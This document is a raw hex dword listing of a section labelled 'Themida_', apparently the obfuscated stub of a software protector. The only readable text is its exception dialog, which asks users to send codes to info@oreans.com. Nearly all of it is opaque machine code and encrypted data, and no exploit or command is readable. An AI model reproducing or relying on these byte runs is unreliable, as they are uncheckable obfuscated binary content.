dd 0ECF838BFh, 0CDBD2376h, 83060705h, 850FFFF8h, 79h, 7880Fh
dd 0BF520000h, 747740DAh, 0E985C75Fh, 6072Fh, 80000000h
dd 2FE997CDh, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 49C6C356h, 0FCB172A4h
dd 12E9h, 18564100h, 22118253h, 0A73ECFFCh, 0D8C74B40h
dd 0E93059B4h, 36h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0ACC35646h, 1F88331h, 10850Fh, 5F500000h
dd 0DAE9h, 65BD8B00h, 66060718h, 1DE9FE8Bh, 8BFFFFF2h
dd 705D58Dh, 8BC08B06h, 7034595h, 0CDBD8306h, 6071Ah, 0BD830975h
dd 6071135h, 50197400h, 0B8C08B53h, 7DDh, 1F7D8589h, 9D8D0607h
dd 609ADC0h, 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h
dd 7DDh, 1F7D8589h, 9D8D0607h, 609AAAFh, 585BD3FFh, 6800Fh
dd 85310000h, 6070841h, 8D8BB2B2h, 60718B9h, 8166C08Bh
dd 0E98E3AD9h, 230h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 34C35545h, 0E80F8DE1h, 0Bh, 5CBDC32Ch
dd 0B159332h, 0F33C0DDh, 68Dh, 459D8900h, 59060711h, 858D24B5h
dd 609F91Dh, 89D6B70Fh, 9FB1585h, 42E9F806h, 8D000000h
dd 9F72585h, 0CF816606h, 6A40065Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E770C355h
dd 0C5F700FBh, 952B567Bh, 6070091h, 1585895Fh, 810609FBh
dd 0E43514D7h, 8D346A6Fh, 7143185h, 0B5FF5006h, 609FB15h
dd 95FF006Ah, 6070581h, 0F07F883h, 16284h, 0DB8C6600h
dd 0F04C3F6h, 0FC85h, 0CD85C600h, 56060709h, 0A8B85268h
dd 9DB5FF9Ch, 8D060705h, 7396385h, 6AD0FF06h, 10006804h
dd 646A0000h, 0D0FF006Ah, 0FB888589h, 85C60609h, 60709CDh
dd 0AC9B6847h, 0B5FFEC18h, 607059Dh, 3963858Dh, 0D0FF0607h
dd 0F08BD0FFh, 9CD85C6h, 684F0607h, 0C62F2661h, 29E5B5FFh
dd 858D0607h, 6073963h, 9D8DD0FFh, 609FB84h, 56286A53h
dd 0C085D0FFh, 85C60075h, 60709CDh, 64986841h, 0B5FFDB87h
dd 60729E5h, 3963858Dh, 0D0FF0607h, 0FBA18589h, 85C60609h
dd 60709CDh, 0E7A4684Ch, 0B5FF80A4h, 60729E5h, 3963858Dh
dd 0D0FF0607h, 0FB889D8Bh, 5B8D0609h, 9D8D5304h, 609FB8Dh
dd 0FF006A53h, 889D8BD0h, 0C70609FBh, 103h, 0C43C700h
dd 2, 0BBD85C7h, 607h, 6A0000h, 6A006Ah, 0FB889D8Bh, 6A530609h
dd 84B5FF00h, 0FF0609FBh, 9FBA195h, 0CD85C606h, 45060709h
dd 0A5F79768h, 85B5FF92h, 8D060710h, 7396385h, 6AD0FF06h
dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 889D8B32h, 0C70609FBh
dd 0C43h, 6A0000h, 9D8B006Ah, 609FB88h, 0FF006A53h, 9FB84B5h
dd 0A195FF06h, 0FF0609FBh, 9FB84B5h, 0C195FF06h, 6A060702h
dd 0DD95FF00h, 6006072Bh, 0C859D33h, 0B58B0607h, 6070A81h
dd 0FA8B6661h, 2F5D858Dh, 10E8060Ah, 0F0000000h, 1FAEC082h
dd 0F660B734h, 0AB64196Bh, 0E931A8ECh, 12h, 8AF9A08Fh
dd 0E0AEBB4Ch, 53678D6h, 0CD1E267Ah, 0F5F130Fh, 386h, 0FB8B6600h
dd 5E950h, 6F980000h, 89721791h, 7215D95h, 35FF6406h, 0
dd 89FABF0Fh, 70A3D9Dh, 25896406h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h
dd 35BD8305h, 60733h, 3E840Fh, 0BD8B0000h, 6071861h, 19BDBD83h
dd 0F010607h, 2B85h, 7E800h, 8DA40000h, 0FBEDBE14h, 85953136h
dd 5F060704h, 0FFA1BD80h, 0F000609h, 0B85h, 12DE900h, 0BD330000h
dd 60714DDh, 8501DB33h, 6070759h, 0BD89C033h, 6072F69h
dd 3F0F40FCh, 8F640B07h, 5, 4C48300h, 0BF0FD58Ah, 4D8D2BC8h
dd 8306071Bh, 840FFFFBh, 12h, 0E3E9F8h, 860F0000h, 6, 3DBD8Bh
dd 4CE90607h, 0F8000000h, 0C244C8Bh, 0A481C7h, 0FFFF0000h
dd 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh, 0E855h, 815D0000h
dd 0A2F7FEDh, 0B8838B06h, 8D000000h, 0A303885h, 0B8838906h
dd 5D000000h, 31C3C033h, 702E585h, 0D5B58906h, 8D060718h
dd 0A2F7585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 0EE205067h, 6A5056h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 15EFA5C3h
dd 6454988Fh, 35FFh, 8BF0000h, 6473036Eh, 2589h, 0B70F0000h
dd 0AB9D3h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h
dd 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h, 7985C70Ah
dd 1060728h, 64000000h, 58Fh, 0C4830000h, 9BD8B04h, 0B9060703h
dd 12A34DA6h, 9533C08Bh, 6070FA1h, 1ACDBD83h, 75000607h
dd 35BD8309h, 60711h, 53501974h, 3DB8C08Bh, 89000004h
dd 72F8185h, 279D8D06h, 0FF0609AEh, 83585BD3h, 71135BDh
dd 17740006h, 3DB85350h, 89000004h, 72F8185h, 0C89D8D06h
dd 0FF0609AAh, 60585BD3h, 0E106B866h, 0E2B96661h, 52006A45h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 2D9B9D97h, 167FBD0Ch, 0E9C08BF8h, 13Ah, 4, 35382E31h
dd 35h, 6 dup(0)
dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
dd 60732B5h, 2D840F00h, 8D000001h, 9A8DF85h, 858D5006h
dd 609A849h, 16850h, 95FF8000h, 609A8EFh, 30D5858Dh, 8D50060Ah
dd 0A30DF85h, 6A5006h, 858D006Ah, 609A85Dh, 0DFB5FF50h
dd 0FF0609A8h, 7222995h, 0D5858D06h, 50060A30h, 30E3858Dh
dd 6A50060Ah, 8D006A00h, 9A86F85h, 0B5FF5006h, 609A8DFh
dd 222995FFh, 858D0607h, 60A30D5h, 0EF858D50h, 50060A30h
dd 6A006Ah, 0A8BC858Dh, 0FF500609h, 9A8DFB5h, 2995FF06h
dd 8D060722h, 0A30D585h, 858D5006h, 60A30F7h, 6A006A50h
dd 0DA858D00h, 500609A8h, 0A8DFB5FFh, 95FF0609h, 6072229h
dd 30D5858Dh, 8D50060Ah, 0A30F385h, 6A5006h, 858D006Ah
dd 609A8C3h, 0DFB5FF50h, 0FF0609A8h, 7222995h, 0D5858D06h
dd 50060A30h, 30E7858Dh, 6A50060Ah, 8D006A00h, 9A8CB85h
dd 0B5FF5006h, 609A8DFh, 222995FFh, 858D0607h, 60A30D5h
dd 0EB858D50h, 50060A30h, 6A006Ah, 0A8D2858Dh, 0FF500609h
dd 9A8DFB5h, 2995FF06h, 0FF060722h, 9A8DFB5h, 6995FF06h
dd 0E906070Ch, 0A2h, 1329BD83h, 0F000607h, 9584h, 0BDBD8300h
dd 60719h, 11850Fh, 958B0000h, 60728F1h, 1CF8C281h, 0FE90000h
dd 8D000000h, 70F2D95h, 34528B06h, 0C340C281h, 95893BD4h
dd 6070455h, 455BD83h, 0F000607h, 5584h, 559D8B00h, 83060704h
dd 38B4CC3h, 30DF8589h, 9D8B060Ah, 6070455h, 8B50C383h
dd 0E3858903h, 8B060A30h, 704559Dh, 54C38306h, 8589038Bh
dd 60A30EFh, 4559D8Bh, 0C3830607h, 89038B58h, 0A30F385h
dd 559D8B06h, 83060704h, 38B5CC3h, 30E78589h, 0BD83060Ah
dd 60732B5h, 0D850F00h, 83000000h, 71329BDh, 840F0006h
dd 68h, 30F7B5FFh, 0B5FF060Ah, 60A30EBh, 30E7B5FFh, 0B5FF060Ah
dd 60A30F3h, 30EFB5FFh, 0B5FF060Ah, 60A30E3h, 30DFB5FFh
dd 858D060Ah, 60A30D9h, 11858D50h, 50060A31h, 23AD858Dh
dd 0FF500607h, 700A195h, 24C48306h, 858D406Ah, 60A30FBh
dd 0AD858D50h, 50060723h, 95FF006Ah, 6070581h, 95FF016Ah
dd 6072BDDh, 18EBC18Bh, 9B46F317h, 5 dup(0)
dd 20BE9h
db 0
aLS db '`▀\$$Х',0 ; DATA XREF: Themida_:0053E1B8o
dd 5D000000h, 3498ED81h, 0C261060Ah, 0E6E90004h
db 3 dup(0FFh)
aA_2 db '`aб',8,0 ; DATA XREF: Themida_:0053D050o
dd 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh, 8C261h
dd 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 0FFFFFFh, 0
dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 0A34D0B5h, 0E68106h
dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 0A34D4B5h
dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h
dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
dd 6070455h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h
dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 719F995h, 10F5006h
dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h
dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6070455h
dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 455858Bh, 18860607h
dd 850FDB0Ah, 0FFFFFFF6h, 327585C7h, 607h, 448B0000h, 988B0824h
dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h
dd 7327585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
dd 29840F04h, 0C7000000h, 0A347585h, 106h, 10F5000h, 8FFE244Ch
dd 0A347985h, 71858D06h, 8D060A34h, 0A3479BDh, 0E9388906h
dd 23h, 0F2D858Dh, 408B0607h, 0F3170538h, 85899B46h, 60A3471h
dd 0F2D858Dh, 408B0607h, 7585893Ch, 8D060A34h, 0A348E85h
dd 0F9858906h, 0E9060719h, 87h
dword_56FEC0 dd 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh, 7, 6300600h
; DATA XREF: Themida_:0053C980o
dd 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah, 60D48B52h
dd 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh, 7, 6280630h, 3B46C8D1h
dd 0F1820FF7h, 61FFFFFFh, 8C25Ah, 56D48B52h, 0DB335351h
dd 8B08728Bh, 13E90C4Ah, 0AC000000h, 840F2D3Ch, 0Ah, 13349804h
dd 0C3C1D832h, 0C90B4908h, 0FFE5850Fh, 0C38BFFFFh, 5A5E595Bh
dd 8D0008C2h, 0A370185h, 0C1858906h, 8D060701h, 0A372985h
dd 95858906h, 8D060706h, 0A375185h, 59858906h, 6006070Dh
dd 13880F60h, 0E8000000h, 0Dh, 0E2C35B52h, 1407A4BCh, 0C522B08h
dd 0F0815A78h, 3F317306h, 6AC08B61h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1189C356h
dd 80CD1A7Fh, 0BD834EC6h, 6071ACDh, 83097500h, 71135BDh
dd 19740006h, 0C08B5350h, 40EB8h, 7D858900h, 8D06071Fh
dd 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 40EB8h
dd 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 57006A58h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0F9363580h, 11E9h
db 0, 64h, 0ECh
byte_570023 db 93h ; DATA XREF: Themida_:0053E200o
dd 64654D2Fh, 83694337h, 0BD4BA613h, 0C08B6E14h, 0BD838CB5h
dd 6073335h, 30840F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0CC01C353h
dd 7C85418Ah, 0B2196909h, 206E9B3h, 81660000h, 8CDCBED2h
dd 50006ADFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 399A2AD8h, 0F57F69Ah, 665AF7BFh, 4C7F7h
dd 1CE850Fh, 0E1B10000h, 0E180FF2Bh, 7D9D8DF1h, 0B9060A3Ah
dd 2E46714h, 52506093h, 0E8B575BAh, 0BA310F79h, 5A4A8A46h
dd 820F585Ah, 6, 8E0Fh, 50610000h, 0F3BEA7BEh, 88BE9329h
dd 6413931Fh, 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 8F3F1BC3h, 0ADA95A22h
dd 0BFC58014h, 258964h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 5A06C356h
dd 2D019D95h, 8BA85FCAh, 57006AC4h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0AB8C49FEh, 474EA5F4h
dd 9E8h, 7D16E500h, 0BB79D298h, 71B967C5h, 59453AECh, 81665060h
dd 58AF43F6h, 0CD61F98Bh, 0E800EB01h, 14h, 23E97164h, 47B5892Eh
dd 0A4ACE0A4h, 0BB03D0B7h, 33E1A2D7h, 0CA9FB966h, 0E9E2805Ah
dd 64D38B66h, 58Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 566057C3h, 0E1816629h
dd 0C483AFEAh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 0C00B3C8Fh, 7A840Fh, 66610000h
dd 8D31C4B9h, 76FE4BDh, 0C820F06h, 0F000000h, 686h, 38F68100h
dd 0B87A3D59h, 1, 0C281E7FFh, 164C8C6Eh, 0F5D68060h, 0C7816660h
dd 7E988CDh, 26000000h, 0CB6A0A6h, 61619A9Ch, 245C8B57h
dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h
dd 0B883h, 335F0200h, 0B966C3C0h, 880FA926h, 4, 0ED3FBA66h
dd 28C0Fh, 0D18B0000h, 0C9BF0F61h, 5E9h, 31D20000h, 0C08BDDA7h
dd 3573CE81h, 0BD834EEDh, 6071ACDh, 83097500h, 71135BDh
dd 19740006h, 0C08B5350h, 40EB8h, 81858900h, 8D06072Fh
dd 9AE279Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 40EB8h
dd 81858900h, 8D06072Fh, 9AAC89Dh, 5BD3FF06h, 0A7B96658h
dd 0C08BF814h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 0A3C35343h, 0AB210767h, 51F7B70Fh, 59F3C680h, 11E8C28Bh
dd 0A4000000h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh, 9DBE44AAh
dd 5FF0B70Fh, 0EE951h, 51DB0000h, 0B6EAFEC2h, 0AD8486D6h
dd 8DF397C1h, 94C7815Eh, 0F000060h, 0B8C8B7h, 0E8000000h
dd 0Bh, 78802DC7h, 0D3233C30h, 661A358Ch, 597254BAh, 8B3834FFh
dd 81665BF1h, 818D66E9h, 178CC9EBh, 81D08B05h, 76DF2BF3h
dd 0EB81F811h, 7F39974Dh, 5FC633BEh, 8166531Dh, 8FDD83E2h
dd 66600704h, 5618D981h, 0FE9h, 855F1D00h, 0E4ECA7CAh
dd 0F6B0D04Eh, 68EC6B3Bh, 0FE961h, 8F310000h, 0F29C2484h
dd 0E34FF5A9h, 5B701C03h, 75E88129h, 60627DE7h, 4E5FE781h
dd 61F81064h, 0E771C081h, 0F881627Dh, 0FFFFA034h, 0FF82850Fh
dd 0EBFCFFFFh, 8, 0
dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0BD858B24h
dd 8D060719h, 0A87DF85h, 8B088B06h, 100088h, 660A8B00h
dd 89FC4A8Bh, 0A3C1E8Dh, 79BD8306h, 6070Bh, 0F840Fh, 6A600000h
dd 6995FF00h, 6106070Dh, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
dd 2728966h, 5A04CD52h, 3C1A8589h, 0B58B060Ah, 60A3C1Eh
dd 6610CEC1h, 8B027289h, 0A3C1EB5h, 72896606h, 858B61FCh
dd 60A3C1Ah, 71958DC3h, 89060726h, 7045595h, 69958906h
dd 0FF06070Eh, 70E6985h, 0CD85C606h, 53060709h, 0B148D868h
dd 9DB5FFFCh, 8D060705h, 7396385h, 89D0FF06h, 70D6985h
dd 0A8858D06h, 89060A34h, 7089185h, 51E906h, 8B600000h
dd 3242474h, 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h
dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch
dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h
dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh
dd 9FD3Eh, 0EAE900EBh, 0E9000005h, 5DEh, 0A3E6168h, 402DE906h
dd 0B068FFFDh, 0E9060A3Fh, 0FFFD4023h, 0A402068h, 4019E906h
dd 0B268FFFDh, 0E9060A40h, 0FFFD400Fh, 0A41D968h, 4005E906h
dd 7CADFFFDh, 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh
dd 91A944D9h, 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h
dd 0D142309Eh, 1C4399B5h, 75253305h, 0A3F21687h, 0FF8E6149h
dd 44A34D3h, 49A3F297h, 0D71851D4h, 595C05C2h, 1DB8296Fh
dd 4BB749A3h, 4649A31Dh, 49A31DD9h, 0AA3D6D16h, 3A806A03h
dd 49A31DCCh, 46158609h, 39CBF979h, 0B944B5A3h, 0BC8F49A3h
dd 0B91F8CD2h, 0B941C9A3h, 9F62A7F9h, 8F7DC1A4h, 0C9A3B71Eh
dd 54F59669h, 35650EBEh, 0E872B8A2h, 15C7A2A5h, 5C4CE265h
dd 0A190790Ch, 9CF05CCDh, 0EAD4A7C3h, 4871DF0h, 62FBE68Bh
dd 1A220C33h, 84B63F71h, 962F62F1h, 20B556EFh, 5AC4779h
dd 99CCE77h, 7C74FC1Fh, 0F46EF8E6h, 0D6A9C19Bh, 65F5A400h
dd 96174670h, 407h, 66FB9ACBh, 5FF493BFh, 5AEF8AB8h, 54E984B3h
dd 52E77AADh, 0B1E49FB7h, 0B7E48B20h, 0B0E2891Eh, 0A9D98015h
dd 3EAC790Eh, 99B4DF50h, 41132A43h, 0C269FC2Ch, 0A3F288F6h
dd 9FA9E249h, 50E681B1h, 35DC7BA7h, 42E382AEh, 7AAA5158h
dd 7DAD34DBh, 8CBC43EAh, 9CCB52F9h, 0A6EF5A01h, 2AE39C98h
dd 56822B1Ch, 948210B7h, 49A3F223h, 10FA9B6Eh, 0B348DF0Fh
dd 0AEC021B4h, 0CBFEA719h, 0E27DAB3Ah, 36104F8h, 2C680000h
dd 0AE497BFCh, 2C9A660Dh, 649A3F2h, 0B1447720h, 2C87710Ah
dd 7C0434E2h, 0A3F21D8Eh, 85948749h, 1DA1F1FAh, 8C21C295h
dd 0F26351BFh, 3D49A30Eh, 8C35C36Ah, 0DBDCC65Fh, 0CB790EA9h
dd 6B55F022h, 0F49B3A6Ah, 0F590BD66h, 0A8CBB54Eh, 76113D23h
dd 7BA736CFh, 0FB9C35DCh, 1A08B866h, 49A30FA9h, 9D8B21F4h
dd 49A30F2Ch, 0B9BAA477h, 0C047EE89h, 7965FA93h, 49A30F0Ch
dd 4D0AC649h, 0D30E8B7Eh, 22BBE8E9h, 644AD27Bh, 4ABBA937h
dd 9549A36Bh, 0F37A21C2h, 0E78027C6h, 51C2B046h, 9C49A36Bh
dd 0F9228C9h, 0FBD085AEh, 31392326h, 0A2831943h, 1E0CD447h
dd 439C62ADh, 0AE8425F8h, 0FA6C7B5Ch, 0B8BE3F6Eh, 7C000002h
dd 7E25BA4Bh, 771EB352h, 7219AE49h, 6E15AA43h, 7A15AA3Bh
dd 0E174A762h, 0DD78A54Ch, 0D46FA148h, 0CD68983Fh, 0FFD6B38h
dd 4399B39Eh, 2C00D2E9h, 3BC269FCh, 3EC56C0Bh, 0F3DF7411h
dd 49A3F2C6h, 0A402D845h, 56EF1C49h, 0E276E3AFh, 109849A3h
dd 22D28218h, 0A3E2C334h, 513B0E49h, 0A2E3350Bh, 0A77D5047h
dd 0FA6CF3ABh, 48DF608Fh, 0C000002h, 0EB54ADBh, 7AE43E2h
dd 2A93ED9h, 0FEA53AD3h, 0AA53ACBh, 710437F2h, 6D0835DCh
dd 64FF31D8h, 5DF828CFh, 9F8DFBC8h, 4399B22Eh, 2C906279h
dd 3BC269FCh, 14C56C0Bh, 3363CD5Bh, 0D500FF94h, 719AEBFh
dd 1DFh, 0F27AE76Bh, 8CBE49A3h, 8BBD64F9h, 98CA51F8h, 0ECA556FDh
dd 2FC2F422h, 0C03A9B9Ah, 56A019AEh, 0C8000000h, 6953F21Fh
dd 8A820A9Dh, 0DCAE71F4h, 0D9035998h, 0DFF9E7EFh, 7A47A291h
dd 6D8BD1A7h, 406FFA6Ch, 1B6BFh, 0AC497A00h, 0A9447017h
dd 0A43F6D14h, 0A039680Fh, 0A031640Bh, 9D58700Bh, 9B42D76Ah
dd 933ACF6Eh, 8A31C661h, 5926BB5Ah, 0B28CFDEBh, 0C0D74399h
dd 0E89806EEh, 24ADA265h, 0A2D47A5Ah, 3E846E0Fh, 49A30AD5h
dd 922D5902h, 0FE6F5DEBh, 4949A309h, 0F1EBD576h, 0BEF0771Eh
dd 0B7E78E23h, 4BD07920h, 3D3ABD53h, 0FF8FA945h, 9B6B73B7h
dd 904E6032h, 0C6F89FA6h, 0BFEF962Bh, 4AF38128h, 3FD87F1Eh
dd 8E275455h, 0D0BE2CF9h, 49A3EB5Fh, 0A930D7AAh, 4D3BEB7Bh
dd 49A3EBDCh, 0F805427h, 5A49A3EBh, 8851E687h, 0D96007FFh
dd 8F7B10ABh, 49A3EB22h, 0EB8AB65Fh, 7056DE01h, 6902A944h
dd 0FF8232C8h, 7C6AA2B7h, 49A3E00Bh, 841A8356h, 7CC2ACBCh
dd 47A2D20Eh, 40F08659h, 0AFDF6897h, 37D07718h, 97204C4Dh
dd 962BCC6Bh, 412FC3EFh, 439CA2D0h, 0A7481Bh, 5AC4779h
dd 0DB4517Eh, 27BD5886h, 0A2188977h, 0C863439Ch, 0CA4B74BBh
dd 7963049Dh, 372FB760h, 825DB3A1h, 0A578419Bh, 654C9FCFh
dd 0BB3C6BF0h, 8Fh, 0EE832253h, 0E77C1B47h, 0E2771240h
dd 0DC710C3Bh, 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h
dd 3161089Dh, 0C6340196h, 99B167D8h, 0C99BB243h, 0C269FC2Ch
dd 0BD588B34h, 92937D16h, 951CC362h, 9D24CB66h, 1CB5E871h
dd 2069D47Bh, 0A45D1616h, 0E97CAC9Ah, 0C0805554h, 105A19AEh
dd 0BE000000h, 0A3F279E7h, 0FA8DBD49h, 18C465h, 0E73A0000h
dd 49A3F27Ah, 0A81907B7h, 0F349A3F2h, 0C35E9120h, 0DA8D8D9h
dd 0E6C70678h, 2ECh, 2C7D5F00h, 3CC36AFBh, 4BD2790Ch, 50D77E19h
dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch
dd 6711B857h, 5585450h, 4, 8704E883h, 515C2404h, 0C181E189h
dd 4, 8704E983h, 895C240Ch, 8952242Ch, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 240C895Ch, 31DCBE56h, 54BD6DDFh, 81641A1Ah
dd 72531C5h, 5E5C16Ch, 5CBCF581h, 0F5814A16h, 3DD8C347h
dd 815EF529h, 4ECh, 24248900h, 4240481h, 59000000h, 8418F55h
dd 592434FFh, 4C481h, 2C8B0000h, 0E3895324h, 4C381h, 0C3810000h
dd 4, 5C241C87h, 0FD3A62E9h, 1BA4E0FFh, 0BFF38944h, 8DB8B525h
dd 3060A42h, 0EBD18BC5h, 20h, 7 dup(0)
dd 54EE900h, 42E90000h, 68000005h, 60A44F7h, 0FD3A1AE9h
dd 457E68FFh, 10E9060Ah, 68FFFD3Ah, 60A4746h, 0FD3A06E9h
dd 47BA68FFh, 0FCE9060Ah, 0A4FFFD39h, 0A64DE273h, 9F46DB7Ah
dd 9A41D671h, 963DD26Bh, 0A23DD263h, 99CCF8Ah, 5A0CD74h
dd 0FC97C970h, 0F590C067h, 37259360h, 4399AFC6h, 3CECFA11h
dd 99AFDD4Eh, 6B552843h, 63FE2C9Fh, 9EFF4ACDh, 6B6CA387h
dd 2F9C6881h, 5CC9A31Ch, 0AC29AF79h, 1A99AF98h, 190B7C6Ah
dd 8356C9A3h, 36A599h, 4ACD0000h, 0BD4AE3BEh, 5B27118Dh
dd 16BFA225h, 6525A987h, 0D111D1FCh, 0F9E364BBh, 0A3DA45B3h
dd 0ACD98249h, 7C042711h, 0E500EE84h, 8C479E17h, 188324B9h
dd 0F9000000h, 0A3F27AE7h, 1C149C49h, 2F7D9886h, 6D16479Eh
dd 0C0BAA43Fh, 2CE658EDh, 0F0BC63FEh, 400AA338h, 0A59AA4DFh
dd 0D7FA6F22h, 9120D3F6h, 0DFE0CA65h, 0B88116B1h, 8E986F2Fh
dd 0B51169FEh, 23907E14h, 60C9A39Fh, 5C222DB0h, 0C2BD9A84h
dd 0A3BE7DEEh, 0BF5C8C9h, 10973E11h, 714A7DE0h, 0CDF0654Ch
dd 46CE972Ch, 0D0CAB84Eh, 0DDC7A2A3h, 73CE3F2Dh, 4619C39Ch
dd 0E88F625Ch, 9C73AF1Ch, 2FF9DCC3h, 0B63B2CA9h, 82AE9Fh
dd 0A120000h, 4BF48A82h, 4C08BA1Dh, 369CEE80h, 0B5A3AB95h
dd 479D5225h, 500BDB5Eh, 581616BBh, 74D9746Eh, 0F1FDD6FDh
dd 8EE55644h, 5D304399h, 0DC851BBCh, 5CFB2BACh, 5C039ECDh
dd 0E68D22C3h, 8491FB6h, 0F2FA6196h, 2FB42C3h, 4350000h
dd 935DC71h, 432D96Eh, 0FE2DD469h, 0F427CE63h, 1931CC61h
dd 59A2B5Eh, 0FF94315Eh, 0F68B2658h, 0F3881F4Fh, 59CAB826h
dd 0A44399AEh, 0C632BB8Dh, 0A8000002h, 0BC63FE2Ch, 0A3F283F0h
dd 0F1958249h, 289449A3h, 2349A3F1h, 49A3F1B6h, 0A3F148B5h
dd 0F1DA4749h, 74FC89A3h, 0F163E67Ch, 0E86A558Eh, 0C4B2BAA4h
dd 879C44BCh, 0D07920F3h, 0CCBA5048h, 8198B342h, 0F68FBC7Dh
dd 0ADD87F55h, 73A2307Ah, 274F2h, 0E87DAE00h, 0E580AC53h
dd 0E07BA950h, 0DC75A44Bh, 0D46DA047h, 0D18CA43Fh, 0C76E039Eh
dd 0BF66FB9Ah, 0BE65FA8Dh, 9562F78Eh, 0ADC83927h, 0FC134399h
dd 74FC2C2Ah, 0F265D6C4h, 0DDB049A3h, 0A3F29809h, 6F10E349h
